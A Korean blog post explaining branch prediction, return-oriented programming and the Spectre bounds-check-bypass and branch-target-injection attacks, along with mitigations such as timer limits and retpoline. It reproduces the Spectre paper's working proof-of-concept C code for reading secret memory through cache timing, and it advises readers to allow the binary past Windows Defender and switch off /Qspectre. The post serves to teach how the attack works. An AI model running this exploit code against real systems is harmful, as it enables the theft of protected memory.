성능과 바꾼 보안 Part. 2: Spectre

컴퓨터과학 2020년 09월 01일

이 글을 처음으로 <성능과 바꾼 보안> 시리즈를 알게 되었다면, Part 1에서 나오는 cache side channel과 어셈블리 관련 내용은 알고 있어야 하니 해당 부분을 읽어보자. 이미 알고 있다면 상관 없다.

이번 <성능과 바꾼 보안> 시리즈는 Meltdown과 함께 발견된 Spectre에 대해 다룬다. Spectre는 Meltdown과 비슷한 점과 다른 점을 함께 가지고 있지만, Spectre는 Meltdown에 비해 범용성이 높다는 점이 특징이다.[1] 또한, Meltdown은 KAISER를 통해 소프트웨어적인 패치가 가능했지만 Spectre는 그렇지 않다는 점도 흥미로운 차이점이라고 할 수 있다.[2]

바쁜 한국인들을 위한 요약

글이 엄청 길기 때문에 내용을 요약하였다.

  1. Spectre는 분기 예측을 악용하여 원하는 메모리 주소를 읽을 수 있는 취약점이다.
  2. 이 글에서는 Spectre의 여러 종류 중 두 가지 종류를 다루는데, 그 종류는 다음과 같다.
    • 조건 분기에 대한 공격 (Exploiting Conditional Branches, Bounds Check Bypass)
    • 간접 분기에 대한 공격 (Exploiting Indirect Branches, Branch Target Injection)
  3. 이중 조건 분기에 대한 공격은 if문과 같은 조건문을 노리고, 간접 분기에 대한 공격은 간접 분기를 노린다.
  4. Spectre를 막기 위해 retpoline이 제안되었고, retpoline은 공격자보다 먼저 '선수쳐서' 공격자가 원하는 분기 예측 경로를 막는 기법이다.
    • 이외에도 많은 기법들이 있지만, 이러한 방법 모두 모두 존재하는 소프트웨어 코드의 재컴파일을 필요로 했고 성능 타격을 입었다.

이 정도로 만족하지 못하겠다면 글의 나머지 내용을 읽어보자. 행복한 시간 되시길. 우선 Spectre와 이를 이용한 공격에 대해 설명하기 전에, 우선 Spectre의 기반이 되는 CPU 기능과 공격 기법을 알아보자.

분기 예측

분기 예측이 무엇인지 설명하기 전에, 우선 다음과 같은 코드를 생각해 보자.[3]

from random import randrange
from timeit import default_timer as timer

arr = [None] * 32768
for i in range(len(arr)):
    arr[i] = randrange(256)

# arr.sort()

result = 0
start = timer()
for elem in arr:
    if elem >= 128:
        result += elem
end = timer()
print(end - start)

간단한 코드이다. 우선 긴 배열을 만들고 랜덤하게 값을 채워넣는다. 그 후, 128 이상인 값들만 더하는 데 걸리는 시간을 측정한다. 이 코드에서, arr.sort()가 있는 줄의 주석을 해제한다고 생각해 보자. 정렬하고 더하든 그냥 더하든 결과값은 같을 것이다. 하지만 놀랍게도 정렬하고 더할 때 그냥 더하는 것보다 속도가 더 빠르다.[4]

이러한 현상은 프로세서의 분기 예측이라는 기능 때문에 일어난다. 분기 예측을 간단하게 설명하자면, 프로세서가 if와 같은 조건문이 포함된 코드를 실행할 때 조건의 참/거짓을 예측하여 실행 성능을 향상시키는 기능이다. 프로세서는 조건문을 만났을 때, 우선 만난 조건의 결과값을 예측하고, 우선 예측을 토대로 코드를 계속 실행시킨다. 프로세서는 예측 결과대로 코드가 실행되는 동안 조건의 결과를 계산한다. 조건의 결과가 계산되면, 프로세서는 이전에 한 예측의 결과를 검증한다. 이전에 한 예측이 맞았을 경우, 실행이 계속 이어지므로[5] 성능상의 이점을 얻을 수 있다. 반면 예측 결과대로 실행하는 도중 예측이 틀렸다는 것이 판정되면, 조건의 결과를 예측한 지점으로 다시 돌아가서 다시 실행한다. 다시 예시로 든 코드로 돌아가 보자.

정렬을 하지 않았을 경우, 프로세서는 배열의 i번째 인덱스에 있는 값이 128 이상인지 비교하는 조건문 if elem >= 128:에서 분기 예측을 할 때 약 50%의 확률로 예측에 실패할 것이다. 이 경우 프로세서는 예측이 틀렸음을 판정할 때마다 뒤로 돌아가서 실행하므로 성능 향상을 얻을 수 없다. 반면, 정렬을 했을 경우에는, i가 일정 값을 넘어가면 i번째 인덱스에 있는 값은 계속 128 이상이다. 이 정도의 간단한 패턴은 대부분의 프로세서가 성공적으로 예측할 수 있고, 따라서 분기 예측을 통한 성능 향상을 얻을 수 있다.

분기 예측이 정확할수록 더 큰 성능 향상을 얻을 수 있으므로, 프로세서에서는 정확한 분기 예측을 위해 여러 가지 기술을 사용한다. 분기 예측을 위한 알고리즘에는 간단하게는 2비트 포화 카운터를 이용하는 것부터, 뉴럴 네트워크와 머신 러닝 알고리즘을 사용하는 것들까지 매우 다양한 종류들이 존재한다.

Return Oriented Programming

Return Oriented Programming(ROP)는 control flow를 가진 공격자가 공격 대상 프로세스의 기계어 코드 조각들을 이어서 원하는 작업을 수행하게 하는 공격 방법이다. 공격자는 대상 프로세스의 명령어들을 탐색하면서, 리턴 전에 자신이 원하는 명령어가 있는 부분들을 찾고, 실행한다. 공격자는 control flow를 자유롭게 바꿀 수 있으므로, 리턴 명령어의 주소를 다음에 실행하고 싶은 명령어의 주소로 바꾸어 주면 실행흐름이 공격 대상 프로세스의 내부에서만 진행되면서도, 공격자가 원하는 작업이 진행된다. 공격자가 셸코드와 같이 직접 작성한 코드를 주입하여 실행하는 것이 아니라, 공격 대상 프로세스의 코드를 실행시키므로 코드 서명, NX bit와 같은 보안 기능을 우회할 수 있다.

좀 더 정확히 이해하기 위해, 다음과 같은 코드를 생각해 보자.[6] customlib은 간단한 코드를 짜기 위해 가정한 가상의 라이브러리이다. test_password, get_secret은 이름 그대로 각각 비밀번호가 맞는지 확인하고, 맞는다면 어떤 기밀 데이터를 프린트하는 함수이다.

from customlib import test_password, get_secret

def authorize(password):
    if test_password(password):
        print(get_secret())
    else:
        print('bad password')

password = input()
authorize(password)

파이썬에서는 불가능한 일이지만, test_password 함수가 실행되었을 때 메모리 구조가 다음과 같이 되어 있다고 해 보자.

password 리턴 주소
256바이트 문자열 authorize 함수의 첫번째 줄

리턴 주소는 함수의 실행이 끝난 뒤, 리턴을 할 때 이동할 주소를 나타낸다. 정상적으로 실행된다면 함수가 리턴될 때, authorize 함수의 첫 번째 줄로 돌아가고, 거기에서 실행이 계속될 것이다. 만약 password에 크기가 256바이트를 넘어가는 문자열이 들어간다면, 그 뒤에 저장된 리턴 주소를 덮어쓸 수 있다.[7] 공격자 입장에서는 정확한 비밀번호를 알지 못하더라도 기밀 데이터를 얻을 수 있다. password에 256바이트의 의미 없는 데이터를 채우고, 그 뒤에 authorize 함수의 두 번째 줄의 주소를 덧붙이면 된다. test_password 함수는 실행이 끝난 후 알아서 print(get_secret())이 있는 줄로 점프할 것이고, 공격자는 원하는 기밀 데이터를 얻을 수 있다. 이와 같이 원하는 결과를 얻기 위해 공격자가 사용하는 코드 조각을 가젯(gadget)[8]이라고 한다.

Spectre

Spectre의 로고.

Spectre는 현대적인 프로세서의 분기 예측을 통해 기밀 정보를 읽을 수 있는 취약점이다.[9] Spectre에는 많은 종류가 있는데, 여기에서는 Spectre의 논문에서 주로 다룬 다음 종류들을 자세히 알아보자.[10]

  1. 조건 분기에 대한 공격 (Exploiting Conditional Branches, Bounds Check Bypass)
  2. 간접 분기에 대한 공격 (Exploiting Indirect Branches, Branch Target Injection)

두 공격 모두 현대적인 프로세서의 기능 중 하나인 분기 예측(Branch Prediction)에 기초한다. 우선 이에 대해서 알아보자.

조건 분기에 대한 공격

다음과 같은 코드를 생각해 보자.

if (x < array1_size)
    y = array2[array1[x] * 4096];

x에는 어떤 값이 들어 있을지 모르므로, array1 바깥 메모리 주소에 있는 값을 읽는 것을 막기 위해 우선 범위 체크를 한 뒤에 array1에서 값을 읽는다. 겉보기에는 문제가 없어 보이는 코드이고, C언어와 같이 배열의 인덱스 체크를 안해주는 언어에서는 특히 권장되는 패턴이기도 하다. 하지만 이 코드에서 if문이 문제를 일으킨다.

프로세서는 성능 향상을 위해 if문에서 범위 체크가 완료되기 전에 우선 분기를 예측할 것이다. 이때 프로세서의 예측 결과와 실제 조건문의 결과를 비교하면 다음과 같은 표를 얻을 수 있다.

범위 안에 있다고 예측 범위 밖에 있다고 예측
실제로는 범위 안에 존재 성능 향상 성능 저하
실제로는 범위 밖에 존재 공격 가능 성능 향상

참조하려는 인덱스가 실제로는 범위 밖에 있는데, 범위 안에 있다고 예측한다면 CPU는 허용되지 않은 메모리 주소를 읽을 것이다. 물론 앞서 설명하였듯 이후에 인덱스가 범위 밖에 있는 것으로 판명되면 CPU는 예측을 했던 지점으로 돌아간다. 하지만, Meltdown과 비슷하게 CPU는 이러한 경우에 대해서도 분기 예측을 통해 읽은 값인 array2[array1[x] * 4096을 이후의 연산을 위해 캐시에 저장한다. 캐시에 저장된 값은 Meltdown과 비슷하게 cache side channel[11]을 통해 가져올 수 있다.

이러한 과정을 거치는 것이 어떤 이득이 있는지 궁금할 것이다. 다음과 같이, 메모리에 공격자가 임의의 인덱스를 참조할 수 있는 array1이 있고, 그 뒤에 공격자가 정상적인 상황에서는 접근할 수 없는 메모리 공간이 뒤에 있다고 가정해 보자.

array1 기밀 데이터 ... array2
0x0000-0x1000 영역 공격자가 원하는 데이터 ... 크기가 256 * 4096인 배열

공격자는 기밀 데이터의 n번째 바이트를 읽기 위해, array10x1000 + 1 + nx에 넣고 위의 코드를 실행시킨다. 이때 공격자는 CPU가 이미 계산한 조건문의 값을 이용하여 정확히 분기하는 것을 막고, 분기 예측을 강제하기 위해 코드 실행 전에 최대한 CPU를 '바쁘게' 만들고, 분기 예측을 부정확하게 하다록 CPU를 '속인다'.[12] 읽으려는 기밀 데이터의 바이트가 y라면, CPU는 조건문의 정확한 값이 계산되기 전, 분기 예측에 의해 array2y * 4096 인덱스를 참조하면서 캐시에 참조한 인덱스의 값을 캐시에 넣는다. 이후 조건문이 거짓으로 판정되면, CPU는 분기 예측을 한 지점으로 돌아가지만 캐시에는 여전히 읽은 값이 남아 있다. 공격자는 캐시에 저장된 값을 cache side channel을 이용하여 가져오고, 기밀 데이터를 읽을 수 있다.

공격의 구현

여기서는 Spectre가 발표된 논문에 첨부된 코드를 설명할 것이다. C 컴파일러가 있다면 한번 코드를 컴파일해서 실행해 보자.[13][14] 취약점이 발표되고 2년이 넘게 지난 지금도 별다른 컴파일러 옵션을 주지 않으면 PoC(Proof of Concept)가 최신 OS에서도 정상적으로 작동한다.[15]

이 코드는 Spectre를 이용하여 공격 대상 함수 victim_function이 접근하는 기밀 데이터인 secret 문자열을 읽는다. 코드의 실행을 따라가보자.

size_t malicious_x=(size_t)(secret-(char*)array1);

우선, main 함수의 첫 줄에서는 Spectre를 통해 읽을 메모리 주소를 얻은 뒤, 참조할 array1의 인덱스를 계산한다.

for (i = 0; i < sizeof(array2); i++)
  array2[i] = 1;

이후에는 cache side channel에 사용될 array2에 값을 채워 넣는다. 이를 하는 이유는 UNIX 계열 OS들은 기본적으로 디맨드 페이징이라는 기능 때문에 메모리가 array2가 처음으로 사용될 때 할당되기 때문이다. 디맨드 페이징 때문에 이후에 사용하는 cache side channel에서 시간을 측정할 때 잘못된 결과를 얻을 가능성이 존재하므로, 미리 메모리를 할당하도록 유도한다.

이어지는 while 루프에서는 코드의 핵심인 readMemoryByte 함수를 이용하여 한 바이트씩 secret 문자열을 읽는다. 이 함수를 살펴보자.[16]

void readMemoryByte(size_t malicious_x, uint8_t value[2],
                    int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t *addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {
    for (i = 0; i < 256; i++)
      _mm_clflush(&array2[i * 512]);
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush(&array1_size);
      for (volatile int z = 0; z < 100; z++) {}

      x = ((j % 6) - 1) & ~0xFFFF;
      x = (x | (x >> 16));
      x = training_x ^ (x & (malicious_x ^ training_x));

      victim_function(x);
    }

    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = &array2[mix_i * 512];
      time1 = __rdtscp(&junk);
      junk = *addr;
      time2 = __rdtscp(&junk) - time1;
      if (time2 <= CACHE_HIT_THRESHOLD &&
          mix_i != array1[tries % array1_size])
        results[mix_i]++;
    }

    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) ||
        (results[j] == 2 && results[k] == 0))
      break;
  }
  results[0] ^= junk;
  value[0] = (uint8_t)j;
  score[0] = results[j];
  value[1] = (uint8_t)k;
  score[1] = results[k];
}

앞서 취약점의 원리를 설명할 때, 공격자는 CPU를 최대한 '바쁘게' 만들고, 부정확한 분기 예측을 하도록 '속인다'고 했다. 이 코드가 그러한 과정을 보여준다. 코드를 읽으면서 주의 깊게 따라갈 변수는 results이다.[17] 코드를 훑어보았을 때, 이 results 배열에서 최대치를 고르고, 최대치가 담긴 곳의 인덱스를 전역 배열인 value에, 최대치를 score에 저장하는 것을 알 수 있다. 그리고 main 함수를 다시 보면 이 배열들에 저장된 값은 secret 문자열을 읽은 결과를 출력하는데 사용된다. 이제 처음부터 코드를 자세하게 분석해 보자.

    for (i = 0; i < 256; i++)
      _mm_clflush(&array2[i * 512]);

코드에서 999번 반복하는 for 루프에서 가장 처음 실행하는 코드이다. 이 코드는 clflush 명령어를 이용하여 array2의 모든 값들을 CPU 캐시에서 비운다. 이 작업은 후에 cache side channel을 이용하여 메모리를 읽을 것이기 때문에 필수적이다. 이 코드는 굳이 말하자면 CPU를 '바쁘게' 만든다고 할 수 있을 것이다.[18]

    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush(&array1_size);
      for (volatile int z = 0; z < 100; z++) {}

      x = ((j % 6) - 1) & ~0xFFFF;
      x = (x | (x >> 16));
      x = training_x ^ (x & (malicious_x ^ training_x));

      victim_function(x);
    }

캐시를 비운 후에 실행되는 이 코드는 앞서 말한 CPU를 '속이는' 코드이다. 이 루프에서 중요한 부분은 5~7줄에 있는 코드이다. 이 부분에서는 분기 예측의 영향을 최소화하기 위해 일반적인 if문 대신 비트 연산을 이용한다. 하나하나 따라가 보자. 5번째 줄 x = ((j % 6) - 1) & ~0xFFFF;에는 j가 6의 배수일 때는 x0xffff0000으로, 아닌 경우에는 0으로 세팅한다.[19] 6번째 줄 x = (x | (x >> 16));에서는 앞서 나온 값이 0xffff0000이면 x를 -1로, 0이면 0으로 세팅한다. 7번째 줄 x = training_x ^ (x & (malicious_x ^ training_x));에서는 x가 -1인 경우 x를 읽을 문자열 secret의 문자 한 개의 주소인 malicious_x로, 0인 경우 CPU를 '속이는' 데 사용되는 주소인 training_x로 설정한다. 마지막으로는 공격 대상 함수 victim_functionx를 주고 실행시켜 공격 대상 함수가 원하는 메모리 주소를 참조하도록 한다.

이 코드에서는 secret의 한 글자를 읽기 전, CPU의 분기 예측이 부정확하도록 5번 '훈련시킨다'. 훈련을 할 때(j가 6의 배수가 아닐 때)에는 victim_functionarray1의 범위 안에 있는 인덱스인 training_x를 참조하도록 한다. 이러한 코드를 실행하면서, CPU는 공격 대상 함수 victim_function에 언제나 training_x가 주어진다는 잘못된 패턴을 감지하고, 실제로는 malicious_x가 주어졌을 때에도 범위 체크에서 분기 예측을 통해 이후의 코드를 실행할 것이다. 물론 나중에는 분기 예측이 잘못되었음을 감지하고 분기 예측을 한 곳으로 다시 돌아가지만, 캐시에는 여전히 victim_function에서 접근한 데이터가 남아 있을 것이다. 여기서 잠깐 victim_function의 코드를 살펴보자.

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

victim_function에서는 파라메터로 주어진 xarray1의 범위에 있는지 검사하고, 범위에 있는 경우 array2의 인덱스 array1[x] * 512를 참조한다. 앞서 말한 코드에서 if문을 통한 범위 체크를 CPU를 '속임'으로서 무력화시키면, 공격자는 원하는 메모리 주소를 array1의 인덱스로 환산한 후 victim_function으로 접근할 수 있을 것이다. 원하는 메모리 주소 바이트가 y라면, CPU 캐시에는 array2y * 512번 인덱스의 값이 존재할 것이다. 이제 여기 담긴 값을 cache side channel을 통해 읽는 코드를 읽어보자.

    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = &array2[mix_i * 512];
      time1 = __rdtscp(&junk);
      junk = *addr;
      time2 = __rdtscp(&junk) - time1;
      if (time2 <= CACHE_HIT_THRESHOLD &&
          mix_i != array1[tries % array1_size])
        results[mix_i]++;
    }

for 루프의 첫 줄 mix_i = ((i * 167) + 13) & 255;에서는 i의 값을 CPU가 예측하고 빠르게 계산하는 것을 막기 위해 참조하는 array2의 배열 인덱스를 섞는다. 직접 계산해 보면 i의 값에 따라 참조하는 array2의 인덱스 mix_i는 다음과 같다.

i 0 1 2 3 4 5 ... 254 255
mix_i 13 180 91 2 169 80 ... 191 102

2번째 줄에서는 시간을 측정할 주소 addr을 계산하고, 3번째~5번째 줄에서는 addr에서 값을 읽어올 때까지 걸리는 시간을 측정한다. 만약 addr에 저장된 값이 CPU 캐시에도 있다면, 값을 빠르게 읽어올 수 있을 것이다. 이러한 경우 addr을 계산하는 데 사용된 mix_i가 읽으려는 secret의 바이트 값이라고 할 수 있다. 6번째~8번째 줄에서는 앞서 말한 것을 구현한다. 임계치 CACHE_HIT_THRESHOLD보다 걸린 시간이 짧고, CPU를 속이기 위해 입력한 인덱스를 읽은 것이 아니면 캐시에 값이 있는 것으로 판정하는데, 여기에서 results 배열에 결과를 저장한다.

    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) ||
        (results[j] == 2 && results[k] == 0))
      break;
  }
  results[0] ^= junk;
  value[0] = (uint8_t)j;
  score[0] = results[j];
  value[1] = (uint8_t)k;
  score[1] = results[k];

이후 코드는 측정 결과가 담긴 results 배열에서 가장 많이 캐시에 있는 것으로 판정된 값을 value[0]에 넣고, 그 횟수를 score[0]에 넣는다. 두 번째로 가장 많이 캐시에 있는 것으로 판정된 값도 각각 value[1]score[1]에 들어간다. 이 값들은 후에 main에서 secret의 내용을 출력할 때 사용된다.

간접 분기에 대한 공격

이제 Spectre를 통한 간접 분기에 대한 공격을 알아보자. 공격에 대해 자세히 알아보기 전, 우선 간접 분기에 대해 알아야 한다. 대부분의 프로그래밍 언어에서는 직접적으로 간접 분기를 하지 않으므로[20] 어셈블리 코드를 통해 설명할 것이다. 다음 어셈블리 코드를 생각해 보자.

mov eax, 0x1000
add eax, ebx
jmp eax

이 코드를 실행시키면 3번째 줄에서 ebx 레지스터의 값에 따라 점프할 주소가 달라진다. CPU는 이러한 경우 어떤 주소의 코드가 실행되는지 알 수 없으므로 여기에서도 if문 등을 통한 분기와 같이 분기 예측이 필요하다. 간접 분기에 대한 Spectre는 CPU가 이러한 간접 분기가 일어날 때의 분기 예측이 부정확하도록 하는 것이다.

간접 분기에 대한 Spectre 공격 방법은 매우 복잡하므로, 여기에서는 간단하게 살펴보자. Spectre 논문의 저자들은 윈도우에서 실행되는 서비스 프로세스의 메모리를 읽는 PoC와, 리눅스 커널에서 지원되는 VM인 KVM에서 eBPF를 통해 호스트의 메모리를 읽는 PoC를 보여 주었다. eBPF로 KVM을 공격하는 PoC의 구현은 Google Project Zero에서 자세히 설명되어 있다. KVM PoC는 상당히 복잡하므로 여기에서는 그나마 간단한 윈도우의 서비스 프로세스의 메모리를 읽는 PoC를 다룬다.

저자들은 우선 어떠한 문자열이 주어졌을 때, 그 문자열의 SHA-1 해시값을 계산하는 서비스 프로세스를 공격 대상으로 만들었다. 이 프로세스는 문자열을 입력받으면, 윈도우의 암호화 관련 API를 이용하여 해시값을 계산한 뒤, 다음 입력이 들어올 때까지 Sleep을 이용하여 대기한다. 공격의 목적은 이 프로세스에 입력으로 주어지는 문자열을 얻는 것이다. 저자들은 윈도우의 핵심 DLL 중 ntdll.dll의 메모리 영역에서 다음과 같은 어셈블리 코드를 만들어 내는 바이트 패턴을 발견했다.

adc edi, dword ptr[ebx + edx + 0x13BE13BD]
adc dl, byte ptr[edi]

이 코드를 앞서 설명한 ROP의 가젯으로 사용할 수 있을 것이다. 공격자는 ebxedx 레지스터에 넣은 값에 따라 원하는 메모리를 읽을 수 있다. 읽으려는 메모리 주소가 x일 때, 공격자는 ebxx - 0x13BE13BD - edx를 넣고 CPU에서 분기 예측을 할 때 이 코드로 간접 분기하도록 '속이면' 된다. 첫 줄에서는 원하는 주소에서 32비트 값을 읽어들인 뒤, edi 레지스터에 이를 더할 것이다. 2번째 줄에서는 공격자가 갖고 있는 배열(probe array)에서 x번째 인덱스의 값이 CPU 캐시에 들어가도록 한다.

공격자는 서비스 프로세스의 Sleep 함수의 주소를 CPU 캐시에서 지우고, Sleep 함수를 실행할 때 CPU가 원래 주소 대신 앞서 설명한 가젯의 주소로 분기 예측을 하도록 만든다. 이때 OS에서 스택 오버플로우 등의 공격을 막기 위해 실행 때마다[21] 코드가 메모리에 로드되는 주소를 바꾸는 ASLR(Address Space Layout Randomization)이 문제가 될 수 있다. 저자들은 위에서 설명한 가젯의 주소를 찾기 위해 다음과 같은 코드를 실행하는 가젯을 찾아서, 랜덤화된 주소를 알아내는 데에 사용하였다.

sbb eax, [esp + ebx]

이 코드에서는 딱히 특별한 것은 없고, eax 레지스터에서 esp + ebx 주소의 값을 빼는 명령어이다. 여기서 esp는 메모리 공간 중 스택의 가장 윗부분[22]의 주소를 가리키는 포인터이다. 공격자는 eaxebx에 원하는 값을 넣으면서 스택을 역추적하고, 가젯의 바이트 패턴을 찾을 수 있다. 이후에 공격자는 스레드를 하나 더 만들어서 분기 예측이 가젯으로 진행되도록 분기 예측을 훈련시킨다. 훈련이 끝난 이후에는 앞서 설명한 조건 분기에 대한 공격에서 했던 것처럼 cache side channel로 원하는 메모리 영역을 읽으면 된다.

Spectre의 해결 방법

Spectre는 KAISER로 패치가 가능했던 Meltdown과 달리, 완전히 새로운 형태의 패치나 해결 방법을 필요로 한다.

타이머 제한

가장 간단한 방법은 cache side channel을 만들기 어렵게 하는 것이다. 이 경우에는 Meltdown이든 Spectre든 공격자가 공격을 하기 힘들어진다는 장점이 있다. 자바스크립트로 Spectre 공격을 수행하는 것을 막기 위해 크롬과 같은 브라우저의 경우, cache side channel을 만드는 데 필요한 고해상도 타이머(high resolution timer)의 정확도를 제한하였다. 물론 이러한 방법은 표면적인 문제를 해결할 뿐이고, 대부분의 경우 다른 방법과 병행하여 사용된다.

Retpoline

Google에서는 간접 분기에 대한 Spectre의 해결 방법으로 retpoline을 제안하였다. Retpoline이라는 이름은 return과 trampoline의 합성어이고, 이는 구현된 코드의 return문들이 분기 예측 시에 끝없이 '튕겨'다닌다는 것에서 지어졌다.

Retpoline의 세부적인 내용을 설명하기에는 이 글이 너무 길어지기 때문에, 여기에서는 개략적으로 살펴보겠다.[23] Retpoline의 공격 방법을 간단히 설명하자면, 공격자가 먼저 공격을 하기 전에 '선수치는' 것이라고 할 수 있다. Retpoline을 이용하여 보호된 간접 분기 코드는 다음과 같이 나타낼 수 있다.

call set_up_target
capture_spec:
  pause
  jmp capture_spec

set_up_target:
  mov %r11, (%rsp)
  ret

이 어셈블리 코드 조각을 jmp *%r11과 같은 명령어로 실행하여 첫 줄 call set_up_target이 실행되었다고 해 보자. 첫 번째 줄은 set_up_target으로 직접적인 호출을 한다. 이때 set_up_target의 주소는 컴파일을 하는 시점에서 알 수 있기 때문에 CPU는 여기에서 불필요하게 분기 예측을 할 필요는 없을 것이다. call 명령어에 의해 스택에 set_up_target 함수가 리턴할 주소(두번째 줄 capture_spec)가 저장될 것이고, CPU가 사용하는 일종의 분기 예측기인 RSB(Return Stack Buffer)에도 같은 주소가 저장된다. 그 다음, set_up_target의 첫 줄 mov %r11, (%rsp)에서는 스택 프레임에 저장된 리턴 주소를 r11의 값으로 직접 바꿔버린다. 리턴 주소를 강제로 바꾸는 것이다. 한편, RSB는 스택이 바뀌어도 계속 capture_spec의 주소를 갖고 있는다. CPU는 ret 명령어에서 어느 분기를 사용할지 분기 예측을 시도하고, RSB가 가리키는 capture_spec을 실행하면서 무한 루프에 빠진다. 반면 실제로 코드가 실행될 때에는 스택의 리턴 주소를 덮어씌웠기 때문에 원하는 실행 흐름이 실행된다.

만약 이 상황에서 공격자가 공격을 시도했다면, 공격자는 CPU를 '속이는' 데에는 성공하겠지만 '속은' CPU는 공격자가 원하는 결과를 얻지는 못할 것이다.

Spectre로 얻은 대가

Spectre의 패치 기법은 컴파일러의 재설계를 요구했고, LLVM과 GCC, MSVC 등의 컴파일러들은 코드에서 간접 분기가 일어나는 지점에서 retpoline 등을 통한 보호용 코드를 생성하였다. 이 경우 retpoline에 의한 성능 저하는 보호용 코드가 실행되는 지점에서만 일어났다.

저번 Meltdown 포스트에서도 언급했듯 Meltdown과 Spectre 이후로 여러 보안 취약점이 발견되었다. Spectre는 그 자체로 보안 문제가 된다기는 어렵다. 공격 과정에서 살펴보았듯 공격 대상 프로세스의 메모리 공간 내부에서 원하는 가젯을 찾는 등의 작업이 필요하므로, 공격 대상에 맞는 방법을 사용하여야 하며 특정 상황에서는 공격이 불가능할 수도 있다. Spectre는 보안 취약점보다는, 다른 취약점이 발견되는 이론적 배경으로서의 역할을 수행한다고 볼 수도 있을 것이다.

더 읽을거리

  • Spectre 논문: Spectre를 발견한 연구자들의 논문이다. 이 글의 주된 참고 자료이다.
  • Google Project Zero의 분석: Meltdown과 마찬가지로 이 글에서 Spectre에 대한 분석을 다룬다.
  • Retpoline에 대한 설명: Retpoline에 대해 자세하게 설명된 글이다.
  • Spectre-NG: Spectre의 변종인 Spectre-NG를 다룬 논문이다. 브라우저가 그냥 첫페이지를 보여준다면 23페이지부터 읽어보자.
  • SpectreRSB: Spectre의 변종인 SpectreRSB를 다룬 논문이다.
  • Meltdown에 대한 설명: Meltdown에 대해 알고 싶다면 이 글을 읽어보자. 물론 이 글은 Part 1을 읽었다는 가정 하에 쓴 글이지만...
  • Speculative Dereferencing of Registers: Spectre와 다른 보안 취약점인 Foreshadow의 연관성에 대한 최근에 발표된 논문이다. 다음 포스트에서는 (아마) Foreshadow에 대해 다룬 뒤 잠깐 소프트웨어에 가까운 쪽으로 가는 것도 고려해보고 있다.

  1. 물론 이러한 범용성에는 대가가 있는데, Spectre 공격을 성공적으로 수행하기 위해서는 공격 대상 프로세스에 공격을 최적화해야 한다. ↩︎

  2. Spectre가 소프트웨어적으로는 패치가 불가능하다고 주장하는 자료 (특히 academic하지 않은 자료들)이 있는데, 단순히 그렇게 단정짓기는 힘들다. Spectre는 KAISER를 통해 패치할 수 없는 것이지, 모든 코드를 재컴파일하는 것을 제외하면 소프트웨어적인 패치가 가능한지는 불분명하다. ↩︎

  3. 여기서 설명하는 예는 Stackoverflow의 가장 추천받은 질문에서 가져왔다. ↩︎

  4. 이해가 편하도록 파이썬 코드로 원본 코드를 바꿨다. 분기 예측의 효과를 제대로 보려면 C/C++ 등의 언어를 사용하는 것이 좋다. 질문에 달린 댓글에서 볼 수 있겠지만, 실제 실행시간은 하드웨어 구성 등의 여러 요인의 영향을 받을 수 있다. ↩︎

  5. 실행이 계속 이어지는 것이 왜 성능 향상에 도움되는지 궁금할 것이다. 자세하게 설명하려면 프로세서의 원리를 깊게 다루어야 하기 때문에 (이 주제로도 글 한두 개 정도는 쓸 수 있을 것이다.) 간단하게 설명하자면, 현대적인 프로세서는 파이프라이닝 등의 기술을 이용하기 때문에 실행 흐름이 쭉 이어지는 코드는 빠르게 실행하는 성능상의 이점을 가지게 된다. 반면, 조건 분기가 들어가게 되면 프로세서는 실행 흐름을 알 수 없기 때문에 조건 분기가 일어날 때마다 일종의 '워밍업'을 다시 해야 하고, 이 때문에 성능 저하가 일어나게 된다. 이러한 이유로 현대적인 프로세서들이 분기 예측 등을 통해 어떻게든 실행이 계속 이어지게 하는 것이다. ↩︎

  6. 여기에서는 편의상 이해가 쉬운 파이썬 코드로 작성했지만, 실제로 공격자는 기계어(어셈블리) 코드의 실행 흐름을 조작한다. ↩︎

  7. 이러한 일을 막기 위해 대부분의 언어는 문자열의 길이를 체크하는 등의 과정을 거친다. ↩︎

  8. 이것보다 더 적당한 번역이 있으면 댓글로 남겨 주길 바란다. ↩︎

  9. 로고에서 유령이 들고 있는 나뭇가지는 Branch Prediction의 Branch를 정말로 나뭇가지로 그린 일종의 언어유희이다. 설명을 들었으니 재미가 없어질 것이다. 각주는 본문보다도 영양가가 없는 정보 투성이이니, 무작정 각주가 있다고 클릭하지는 말자. ↩︎

  10. Spectre는 이외에도 Spectre-NG라고도 불리는 Rogue Data Cache Load, SpectreRSB라 불리는 Return Mispredict 등 여러 종류가 있다. ↩︎

  11. Cache side channel에 대해 모른다면, <성능과 바꾼 보안>의 Part 1에서 설명되어 있으니 이를 읽어보자. ↩︎

  12. Scare quotes를 넣은 것은 엄밀한 설명이 아니기 때문이다. 정확히 어떤 방법을 이용하는지는 공격의 구현 파트에서 코드와 함께 알아보자. ↩︎

  13. 윈도우 환경에서, 윈도우 디팬더가 Spectre임을 탐지하고 컴파일된 바이너리의 실행을 막을 수도 있다. 안전한 코드이니 '위협 허용'등의 메뉴를 이용하여 실행시키자. ↩︎

  14. 비주얼 스튜디오를 이용하여 컴파일하고 실행한다면, /Qspectre 컴파일러 옵션을 수동으로 꺼야 할 수도 있다. ↩︎

  15. 2020년 8월 기준으로 가장 많이 사용되는 3종 데스크탑 OS의 최신 버전인 Windows 10 x86-64 Build 19401.450과 Linux Kernel 5.7, macOS Catalina 10.15.5 모두에서 Clang으로 컴파일하여 정상적으로 실행됨을 확인하였다. ↩︎

